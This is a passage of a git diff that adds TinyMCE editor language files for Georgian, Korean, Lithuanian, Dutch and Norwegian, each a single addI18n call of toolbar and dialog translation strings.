\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","striketrough_desc":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d0\u10d6\u10e3\u10da\u10d8","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ka_dlg.js b/js/tiny_mce/themes/advanced/langs/ka_dlg.js new file mode 100755 index 0000000..a25659f --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advanced_dlg',{"link_list":"\u10d1\u10db\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","link_is_external":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10d7\u10dd\u10e2 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 http://?","link_is_email":"\u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8 \u10d2\u10d0\u10d5\u10e1 \u10d4\u10da.\u10e4\u10dd\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10e1, \u10d3\u10d0\u10d5\u10d0\u10db\u10d0\u10e2\u10dd\u10d7 \u10de\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8 mailto:?","link_titlefield":"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","link_target_blank":"\u10d0\u10ee\u10d0\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","link_target_same":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","link_target":"\u10db\u10d8\u10d6\u10d0\u10dc\u10d8","link_url":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","link_title":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","image_align_right":"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_left":"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_textbottom":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_texttop":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_bottom":"\u10e5\u10d5\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_middle":"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4","image_align_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4","image_align_baseline":"\u10e1\u10d0\u10d1\u10d0\u10d6\u10e1\u10dd \u10ee\u10d0\u10d6\u10d8\u10e1 \u10db\u10d8\u10ee\u10d4\u10d3\u10d5\u10d8\u10d7","image_align":"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0","image_hspace":"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","image_vspace":"\u10d5\u10d4\u10e0\u10e2. \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d0","image_dimensions":"\u10d6\u10dd\u10db\u10d0","image_alt":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d0","image_list":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d4\u10d1\u10d8\u10e1 \u10e1\u10d8\u10d0","image_border":"\u10e9\u10d0\u10e0\u10e9\u10dd","image_src":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8","image_title":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","charmap_title":"\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10e1 \u10d0\u10e0\u10e9\u10d4\u10d5\u10d0","colorpicker_name":"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0:","colorpicker_color":"\u10d9\u10dd\u10d3\u10d8:","colorpicker_named_title":"\u10e4\u10d4\u10e0\u10d4\u10d1\u10d8","colorpicker_named_tab":"\u10e1\u10d0\u10ee\u10d4\u10da\u10ec\u10dd\u10d3\u10d4\u10d1\u10d0","colorpicker_palette_title":"\u10e4\u10d4\u10e0\u10d4\u10d1\u10d8","colorpicker_palette_tab":"\u10de\u10d0\u10da\u10d8\u10e2\u10e0\u10d0","colorpicker_picker_title":"\u10e4\u10d4\u10e0\u10d7\u10d0 \u10e8\u10d4\u10db\u10e0\u10e9\u10d4\u10d5\u10d8","colorpicker_picker_tab":"\u10e1\u10de\u10d4\u10e5\u10e2\u10e0\u10d8","colorpicker_title":"\u10d0\u10d5\u10d8\u10e0\u10e9\u10d8\u10dd\u10d7 \u10e4\u10d4\u10e0\u10d8","code_wordwrap":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d0","code_title":"HTML \u10d9\u10dd\u10d3\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10dd\u10e0\u10d8","anchor_name":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8","anchor_title":"\u10e6\u10e3\u10d6\u10d0\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","about_loaded":"\u10db\u10d8\u10db\u10d0\u10d2\u10e0\u10d4\u10d1\u10e3\u10da\u10d8 \u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d4\u10d1\u10d8","about_version":"\u10d5\u10d4\u10e0\u10e1\u10d8\u10d0","about_author":"\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8","about_plugin":"\u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d8","about_plugins":"\u10de\u10da\u10d0\u10d2\u10d8\u10dc\u10d4\u10d1\u10d8","about_license":"\u10da\u10d8\u10ea\u10d4\u10dc\u10d6\u10d8\u10d0","about_help":"\u10d3\u10d0\u10ee\u10db\u10d0\u10e0\u10d4\u10d1\u10d0","about_general":"\u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10da\u10dd\u10d1\u10d0","about_title":"TinyMCE \u10d0\u10e6\u10ec\u10d4\u10e0\u10d8\u10da\u10dd\u10d1\u10d0","anchor_invalid":"\u10e8\u10d4\u10d8\u10e7\u10d5\u10d0\u10dc\u10d4\u10d7 \u10e6\u10e3\u10d6\u10d0\u10e1 \u10d9\u10dd\u10e0\u10d4\u10e5\u10e2\u10e3\u10da\u10d8 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ko.js b/js/tiny_mce/themes/advanced/langs/ko.js new file mode 100755 index 0000000..4eba457 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ko.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advanced',{"underline_desc":"\ubc11\uc904(Ctrl+U)","italic_desc":"\uae30\uc6b8\uc778 \uae00\uaf34(Ctrl I)","bold_desc":"\uad75\uc740 \uae00\uaf34(Ctrl B)",dd:"\uc815\uc758 \uc124\uba85",dt:"\uc5b4\uad6c \uc815\uc758",samp:"\uc0d8\ud50c\ucf54\ub4dc",code:"\ucf54\ub4dc",blockquote:"\uc778\uc6a9\ubb38",h6:"\ud45c\uc81c6",h5:"\ud45c\uc81c5",h4:"\ud45c\uc81c4",h3:"\ud45c\uc81c3",h2:"\ud45c\uc81c2",h1:"\ud45c\uc81c1",pre:"pre",address:"\uc8fc\uc18c",div:"Div",paragraph:"\ub2e8\ub77d",block:"\ud3ec\ub9f7",fontdefault:"\uae00\uaf34","font_size":"\uae00\uaf34 \ud06c\uae30","style_select":"\uc2a4\ud0c0\uc77c","more_colors":"\uadf8 \uc678\uc758 \uc0c9","toolbar_focus":"\ubc84\ud2bc\uc73c\ub85c \uc810\ud504 - Alt+Q, \uc5d0\ub514\ud130\ub85c \uc810\ud504 - Alt-Z, Jump to element path - Alt-X",newdocument:"\ud3b8\uc9d1\uc911\uc758 \ub370\uc774\ud130\ub97c \ubaa8\ub450 \uc783\uc5b4\ub3c4 \uad1c\ucc2e\uc2b5\ub2c8\uae4c?",path:"Path","clipboard_msg":"\ubcf5\uc0ac/\uc798\ub77c\ub0b4\uae30/\ubd99\uc774\uae30\ub294 Mozilla \ubc0fFirefox \uc5d0\uc11c \uc0ac\uc6a9\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n\uc0c1\uc138\uc815\ubcf4\ub97c \ud45c\uc2dc\ud569\ub2c8\uae4c?","blockquote_desc":"\uc778\uc6a9\ubb38","help_desc":"\ub3c4\uc6c0\ub9d0","newdocument_desc":"\uc2e0\uaddc\uae00 \uc791\uc131","image_props_desc":"\uc774\ubbf8\uc9c0\uc18d\uc131","paste_desc":"\ubd99\uc774\uae30","copy_desc":"\ubcf5\uc0ac","cut_desc":"\uc798\ub77c\ub0b4\uae30","anchor_desc":"\uc5e5\ucee4 \uc0bd\uc785/\ud3b8\uc9d1","visualaid_desc":"\uac00\uc774\ub4dc\ub77c\uc778 \ud45c\uc2dc/\ube44\ud45c\uc2dc","charmap_desc":"\ud2b9\uc218 \ubb38\uc790","backcolor_desc":"\ubc30\uacbd\uc0c9","forecolor_desc":"\uae00\uc790\uc0c9","custom1_desc":"\ucee4\uc2a4\ud140 \uc124\uba85","removeformat_desc":"\uc11c\uc2dd \ud574\uc81c","hr_desc":"\uad6c\ubd84\uc120","sup_desc":"\uc704\ucca8\uc790","sub_desc":"\uc544\ub798\ucca8\uc790","code_desc":"HTML \ud3b8\uc9d1","cleanup_desc":"\ubcf5\uc7a1\ud55c \ucf54\ub4dc \uc815\ub9ac","image_desc":"\uc774\ubbf8\uc9c0 \uc0bd\uc785/\ud3b8\uc9d1","unlink_desc":"\ub9c1\ud06c \uc0ad\uc81c","link_desc":"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","redo_desc":"\ub2e4\uc2dc \uc2e4\ud589(Ctrl Y)","undo_desc":"\uc2e4\ud589 \ucde8\uc18c(Ctrl Z)","indent_desc":"\ub4e4\uc5ec\uc4f0\uae30","outdent_desc":"\ub0b4\uc5b4\uc4f0\uae30","numlist_desc":"\ubc88\ud638 \ubaa9\ub85d","bullist_desc":"\uae30\ud638 \ubaa9\ub85d","justifyfull_desc":"\uc591\ucabd \ub9de\ucda4","justifyright_desc":"\uc624\ub978\ucabd \ub9de\ucda4","justifycenter_desc":"\uac00\uc6b4\ub370 \ub9de\ucda4","justifyleft_desc":"\uc67c\ucabd \ub9de\ucda4","striketrough_desc":"\ucde8\uc18c\uc120","help_shortcut":"\ub3c4\uad6c \ubaa8\uc74c\uc740 ALT-F10\uc744, \ub3c4\uc6c0\ub9d0\uc740 ALT-0\uc744 \ub204\ub974\uc138\uc694.",toolbar:"\ub3c4\uad6c \ubaa8\uc74c","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/ko_dlg.js b/js/tiny_mce/themes/advanced/langs/ko_dlg.js new file mode 100755 index 0000000..8f30119 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.advanced_dlg',{"link_list":"\ub9c1\ud06c \ubaa9\ub85d","link_is_external":"\uc678\ubd80URL\uc774 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.\nURL\uc758 \uc55e\uc5d0 http://\ub97c \ubd99\uc785\ub2c8\uae4c?","link_is_email":"\uba54\uc77c\uc8fc\uc18c\uac00 \uc785\ub825\ub418\uc5c8\uc2b5\ub2c8\ub2e4.\n\uba54\uc77c\uc8fc\uc18c\uc758 \uc55e\uc5d0 mailto:\ub97c \ubd99\uc785\ub2c8\uae4c?","link_titlefield":"\uc81c\ubaa9","link_target_blank":"\uc0c8\ucc3d","link_target_same":"\uac19\uc740\ucc3d","link_target":"Target","link_url":"\ub9c1\ud06c URL","link_title":"\ub9c1\ud06c\uc758 \uc0bd\uc785/\ud3b8\uc9d1","image_align_right":"Right","image_align_left":"Left","image_align_textbottom":"Text bottom","image_align_texttop":"Text top","image_align_bottom":"Bottom","image_align_middle":"Middle","image_align_top":"Top","image_align_baseline":"\uae30\uc900\uc120","image_align":"\uc815\ub82c","image_hspace":"\uc88c\uc6b0 \uc5ec\ubc31","image_vspace":"\uc0c1\ud558 \uc5ec\ubc31","image_dimensions":"\ud06c\uae30","image_alt":"\uc774\ubbf8\uc9c0 \uc124\uba85","image_list":"\uc774\ubbf8\uc9c0 \ubaa9\ub85d","image_border":"\ud14c\ub450\ub9ac\uc120","image_src":"\uc774\ubbf8\uc9c0 URL","image_title":"\uc774\ubbf8\uc9c0\uc758 \uc0bd\uc785/\ud3b8\uc9d1","charmap_title":"\ud2b9\uc218 \ubb38\uc790","colorpicker_name":"\uc0c9 \uc774\ub984:","colorpicker_color":"Color:","colorpicker_named_title":"\uc0c9","colorpicker_named_tab":"\uc0c9 \uc774\ub984","colorpicker_palette_title":"\ud314\ub808\ud2b8 \uc0c9","colorpicker_palette_tab":"\ud314\ub808\ud2b8","colorpicker_picker_title":"\uceec\ub7ec \ud53d\ucee4","colorpicker_picker_tab":"\ud53d\ucee4","colorpicker_title":"\uc0c9\uc744 \uc120\ud0dd","code_wordwrap":"\uc6cc\ub4dc\ub7a9","code_title":"\uc18c\uc2a4 \ud3b8\uc9d1","anchor_name":"\uc5e5\ucee4\uba85","anchor_title":"\uc5e5\ucee4 \uc0bd\uc785/\ud3b8\uc9d1","about_loaded":"\uc2e4\ud589\ub41c \ud50c\ub7ec\uadf8\uc778","about_version":"\ubc84\uc83c","about_author":"\uc81c\uc791\uc790","about_plugin":"\ud50c\ub7ec\uadf8\uc778","about_plugins":"\ud50c\ub7ec\uadf8\uc778","about_license":"\ub77c\uc774\uc13c\uc2a4","about_help":"\ub3c4\uc6c0\ub9d0","about_general":"About","about_title":"TinyMCE\uc5d0 \ub300\ud558\uc5ec","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/lt.js b/js/tiny_mce/themes/advanced/langs/lt.js new file mode 100755 index 0000000..3056354 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/lt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced',{"underline_desc":"Pabrauktas (Ctrl+U)","italic_desc":"Kursyvas (Ctrl+I)","bold_desc":"Pusjuodis (Ctrl+B)",dd:"Apibr\u0117\u017eimo apra\u0161as",dt:"Apibr\u0117\u017eimo terminas",samp:"Kodo pavyzdys",code:"Kodas",blockquote:"Citatos blokas",h6:"Antra\u0161t\u0117 6",h5:"Antra\u0161t\u0117 5",h4:"Antra\u0161t\u0117 4",h3:"Antra\u0161t\u0117 3",h2:"Antra\u0161t\u0117 2",h1:"Antra\u0161t\u0117 1",pre:"I\u0161 anksto formatuotas",address:"Adresas",div:"Div \u017eym\u0117",paragraph:"Paragrafas",block:"Formatas",fontdefault:"\u0160rifto \u0161eima","font_size":"\u0160rifto dydis","style_select":"Stiliai","link_delta_width":"70","more_colors":"Daugiau spalv\u0173","toolbar_focus":"Per\u0161okimas prie \u012franki\u0173 juostos mygtuk\u0173 - Alt+Q, Per\u0161okimas prie redaktoriaus - Alt-Z, Per\u0161okimas prie element\u0173 kelio - Alt-X",newdocument:"Ar tikrai norite i\u0161valyti vis\u0105 turin\u012f?",path:"Kelias","clipboard_msg":"Kopijavimas/I\u0161kirpimas/\u012ed\u0117jimas negalimas Mozilla ir Firefox nar\u0161ykl\u0117se.\nAr norite daugiau informacijos apie \u0161i\u0105 problem\u0105?","blockquote_desc":"Citatos blokas","help_desc":"Pagalba","newdocument_desc":"Naujas dokumentas","image_props_desc":"Paveiksl\u0117lio nustatymai","paste_desc":"\u012ed\u0117ti","copy_desc":"Kopijuoti","cut_desc":"I\u0161kirpti","anchor_desc":"\u012eterpti/redaguoti prierai\u0161\u0105","visualaid_desc":"Kaitalioti gaires/nematom\u0173 element\u0173 rodym\u0105","charmap_desc":"\u012eterpti nestandartin\u012f simbol\u012f","backcolor_desc":"Parinkti fono spalv\u0105","forecolor_desc":"Parinkti teksto spalv\u0105","custom1_desc":"J\u016bs\u0173 apra\u0161as \u010dia","removeformat_desc":"Pa\u0161alinti formatavim\u0105","hr_desc":"\u012eterpti horizontali\u0105 linij\u0105","sup_desc":"Vir\u0161utinis indeksas","sub_desc":"Apatinis indeksas","code_desc":"Redaguoti HTML i\u0161eities kod\u0105","cleanup_desc":"I\u0161valyti netvarking\u0105 kod\u0105","image_desc":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","unlink_desc":"Pa\u0161alinti nuorod\u0105","link_desc":"\u012eterpti/redaguoti nuorod\u0105","redo_desc":"Gr\u0105\u017einti (Ctrl+Y)","undo_desc":"At\u0161aukti (Ctrl+Z)","indent_desc":"\u012etrauka","outdent_desc":"Atvirk\u0161tin\u0117 \u012ftrauka","numlist_desc":"Sunumeruotas s\u0105ra\u0161as","bullist_desc":"Nesunumeruotas s\u0105ra\u0161as","justifyfull_desc":"Lygiuoti pagal abu kra\u0161tus","justifyright_desc":"Lygiuoti pagal de\u0161in\u0119","justifycenter_desc":"Centruoti","justifyleft_desc":"Lygiuoti pagal kair\u0119","striketrough_desc":"Perbrauktas","help_shortcut":"Paspauskite ALT-F10 \u012fjungti u\u017eduo\u010di\u0173 juostai. Paspauskite ALT-0 jei reikia pagalbos","rich_text_area":"Suformatuoto teksto laukas","shortcuts_desc":"Accessability Help",toolbar:"U\u017eduo\u010di\u0173 juosta","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/lt_dlg.js b/js/tiny_mce/themes/advanced/langs/lt_dlg.js new file mode 100755 index 0000000..2474073 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced_dlg',{"link_list":"Nuorod\u0173 s\u0105ra\u0161as","link_is_external":"URL adresas, kur\u012f \u012fved\u0117te yra i\u0161orin\u0117 nuoroda, ar norite prid\u0117ti reikaling\u0105 http:// prefiks\u0105?","link_is_email":"URL adresas, kur\u012f \u012fved\u0117te yra el. pa\u0161to adresas, ar norite prid\u0117ti reikaling\u0105 mailto: prefiks\u0105?","link_titlefield":"Pavadinimas","link_target_blank":"Atverti naujame lange","link_target_same":"Atverti tame pa\u010diame lange","link_target":"Paskirtis","link_url":"Nuorodos URL adresas","link_title":"\u012eterpti/redaguoti nuorod\u0105","image_align_right":"De\u0161in\u0117je","image_align_left":"Kair\u0117je","image_align_textbottom":"Teksto apa\u010dioje","image_align_texttop":"Teksto vir\u0161uje","image_align_bottom":"Apa\u010dioje","image_align_middle":"Viduryje","image_align_top":"Vir\u0161uje","image_align_baseline":"Pradiniame ta\u0161ke","image_align":"Lygiavimas","image_hspace":"Horizontalus tarpas","image_vspace":"Vertikalus tarpas","image_dimensions":"I\u0161matavimai","image_alt":"Paveiksl\u0117lio apra\u0161as","image_list":"Paveiksl\u0117li\u0173 s\u0105ra\u0161as","image_border":"R\u0117melis","image_src":"Paveiksl\u0117lio URL adresas","image_title":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","charmap_title":"Pasirinkti nestandartin\u012f simbol\u012f","colorpicker_name":"Pavadinimas:","colorpicker_color":"Spalva:","colorpicker_named_title":"\u012evardintosios spalvos","colorpicker_named_tab":"\u012evardintosios","colorpicker_palette_title":"Palet\u0117s spalvos","colorpicker_palette_tab":"Palet\u0117","colorpicker_picker_title":"Spalvos parinkiklis","colorpicker_picker_tab":"Parinkiklis","colorpicker_title":"Pasirinkti spalv\u0105","code_wordwrap":"Skaidyti tekst\u0105","code_title":"HTML i\u0161eities kodo redaktorius","anchor_name":"Prierai\u0161o vardas","anchor_title":"\u012eterpti/redaguoti prierai\u0161\u0105","about_loaded":"\u012ekelti papildiniai","about_version":"Versija","about_author":"Autorius","about_plugin":"Papildinys","about_plugins":"Papildiniai","about_license":"Licencija","about_help":"Pagalba","about_general":"Apie","about_title":"Apie TinyMCE","charmap_usage":"Naudokite kair\u0117s ir de\u0161in\u0117s rodykles norint nar\u0161yti.","anchor_invalid":"\u012eveskite teising\u0105 prierai\u0161os vard\u0105.","accessibility_help":"Prieinamumo pagalba","accessibility_usage_title":"Bendrojo naudojimo"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/nl.js b/js/tiny_mce/themes/advanced/langs/nl.js new file mode 100755 index 0000000..3ef2c14 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/nl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced',{"underline_desc":"Onderstrepen (Ctrl+U)","italic_desc":"Cursief (Ctrl+I)","bold_desc":"Vet (Ctrl+B)",dd:"Definitiebeschrijving",dt:"Definitieterm",samp:"Codevoorbeeld",code:"Code",blockquote:"Citaat",h6:"Kop 6",h5:"Kop 5",h4:"Kop 4",h3:"Kop 3",h2:"Kop 2",h1:"Kop 1",pre:"Vaste opmaak",address:"Adres",div:"Div",paragraph:"Alinea",block:"Opmaak",fontdefault:"Lettertype","font_size":"Tekengrootte","style_select":"Stijlen","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","more_colors":"Meer kleuren","toolbar_focus":"Spring naar werkbalk - Alt+Q, Spring naar tekst - Alt-Z, Spring naar elementpad - Alt-X",newdocument:"Weet u zeker dat u alle inhoud wilt wissen?",path:"Pad","clipboard_msg":"Kopi\u00ebren/knippen/plakken is niet beschikbaar in Mozilla en Firefox.\nWilt u meer informatie over deze beperking?","blockquote_desc":"Citaat","help_desc":"Help","newdocument_desc":"Nieuw document","image_props_desc":"Afbeeldingseigenschappen","paste_desc":"Plakken","copy_desc":"Kopi\u00ebren","cut_desc":"Knippen","anchor_desc":"Anker invoegen/bewerken","visualaid_desc":"Hulplijnen weergeven","charmap_desc":"Symbool invoegen","backcolor_desc":"Tekstmarkeringskleur","forecolor_desc":"Tekstkleur","custom1_desc":"Uw eigen beschrijving hier","removeformat_desc":"Opmaak verwijderen","hr_desc":"Scheidingslijn invoegen","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"HTML bron bewerken","cleanup_desc":"Code opruimen","image_desc":"Afbeelding invoegen/bewerken","unlink_desc":"Link verwijderen","link_desc":"Link invoegen/bewerken","redo_desc":"Herhalen (Ctrl+Y)","undo_desc":"Ongedaan maken (Ctrl+Z)","indent_desc":"Inspringing vergroten","outdent_desc":"Inspringing verkleinen","numlist_desc":"Nummering","bullist_desc":"Opsommingstekens","justifyfull_desc":"Uitvullen","justifyright_desc":"Rechts uitlijnen","justifycenter_desc":"Centreren","justifyleft_desc":"Links uitlijnen","striketrough_desc":"Doorhalen","help_shortcut":"Druk op ALT-F10 voor de werkbalk. Druk op ALT-0 voor hulp.","rich_text_area":"Rich Text Zone","shortcuts_desc":"Toegankelijkheid Help",toolbar:"Werkbalk"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/nl_dlg.js b/js/tiny_mce/themes/advanced/langs/nl_dlg.js new file mode 100755 index 0000000..615a5e8 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.advanced_dlg',{"link_list":"Link lijst","link_is_external":"De ingevoerde URL lijkt op een externe link. Wilt u de vereiste http:// tekst voorvoegen?","link_is_email":"De ingevoerde URL lijkt op een e-mailadres. Wilt u de vereiste mailto: tekst voorvoegen?","link_titlefield":"Titel","link_target_blank":"Link in een nieuw venster openen","link_target_same":"Link in hetzelfde venster openen","link_target":"Doel","link_url":"Link URL","link_title":"Link invoegen/bewerken","image_align_right":"Rechts","image_align_left":"Links","image_align_textbottom":"Onderkant tekst","image_align_texttop":"Bovenkant tekst","image_align_bottom":"Onder","image_align_middle":"Midden","image_align_top":"Boven","image_align_baseline":"Basislijn","image_align":"Uitlijning","image_hspace":"Horizontale ruimte","image_vspace":"Verticale ruimte","image_dimensions":"Afmetingen","image_alt":"Beschrijving","image_list":"Lijst","image_border":"Rand","image_src":"Bestand/URL","image_title":"Afbeelding invoegen/bewerken","charmap_title":"Symbolen","colorpicker_name":"Naam:","colorpicker_color":"Kleur:","colorpicker_named_title":"Benoemde kleuren","colorpicker_named_tab":"Benoemd","colorpicker_palette_title":"Paletkleuren","colorpicker_palette_tab":"Palet","colorpicker_picker_title":"Alle kleuren","colorpicker_picker_tab":"Alle kleuren","colorpicker_title":"Kleuren","code_wordwrap":"Automatische terugloop","code_title":"HTML Bron","anchor_name":"Ankernaam","anchor_title":"Anker invoegen/bewerken","about_loaded":"Geladen Invoegtoepassingen","about_version":"Versie","about_author":"Auteur","about_plugin":"Invoegtoepassing","about_plugins":"Invoegtoepassingen","about_license":"Licentie","about_help":"Help","about_general":"Info","about_title":"Over TinyMCE","charmap_usage":"Gebruik linker en rechter pijltjestoetsen om te navigeren.","anchor_invalid":"Geef een geldige ankernaam.","accessibility_help":"Hulp m.b.t. Toegankelijkheid","accessibility_usage_title":"Algemeen Gebruik","invalid_color_value":"Ongeldige kleur code"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/langs/no.js b/js/tiny_mce/themes/advanced/langs/no.js new file mode 100755 index 0000000..0fef8d9 --- /dev/null +++ b/js/tiny_mce/themes/advanced/langs/no.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.advanced',{"underline_desc":"Understrek (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definisjonsbeskrivelse",dt:"Definisjonsuttrykk",samp:"Kodeeksempel",code:"Kode",blockquote:"Innrykk",h6:"Overskrift 6",h5:"Overskrift 5",h4:"Overskrift 4",h3:"Overskrift 3",h2:"Overskrift 2",h1:"Overskrift 1",pre:"Pre-formatert",address:"Adresse",div:"Div",paragraph:"Avsnitt",block:"Format",fontdefault:"Skriftfamilie","font_size":"Skriftst\u00f8rrelse","style_select":"Stiler","more_colors":"Flere farger","toolbar_focus":"Skift til verkt\u00f8yknapper - Alt+Q, Skift til editor - Alt-Z, Skift til elementsti - Alt-",newdocument:"Er du sikker p\u00e5 at du vil slette alt innhold?",path:"Sti","clipboard_msg":"Klipp ut/Kopier/Lim er ikke tilgjengelig i Mozilla og Firefox. \n Vil du vite mer om dette?","blockquote_desc":"Innrykk","help_desc":"Hjelp","newdocument_desc":"Nytt dokument","image_props_desc":"Egenskaper for bilde","paste_desc":"Lim inn","copy_desc":"Kopier","cut_desc":"Klipp ut","anchor_desc":"Sett inn/editer anker","visualaid_desc":"Sl\u00e5 av/p\u00e5 usynlige elementer","charmap_desc":"Sett inn spesialtegn","backcolor_desc":"Velg bakgrunnsfarge","forecolor_desc":"Velg skriftfarge","custom1_desc":"Din egen beskriveles her","removeformat_desc":"Fjern formatering","hr_desc":"Sett inn horisontal linje","sup_desc":"Hev skrift","sub_desc":"Senk skrift","code_desc":"Rediger HTML kildekode","cleanup_desc":"Rense grisete kode","image_desc":"Sett inn / endre bilde","unlink_desc":"Fjerne lenke","link_desc":"Sett inn/editer lenke","redo_desc":"Gj\u00f8r om 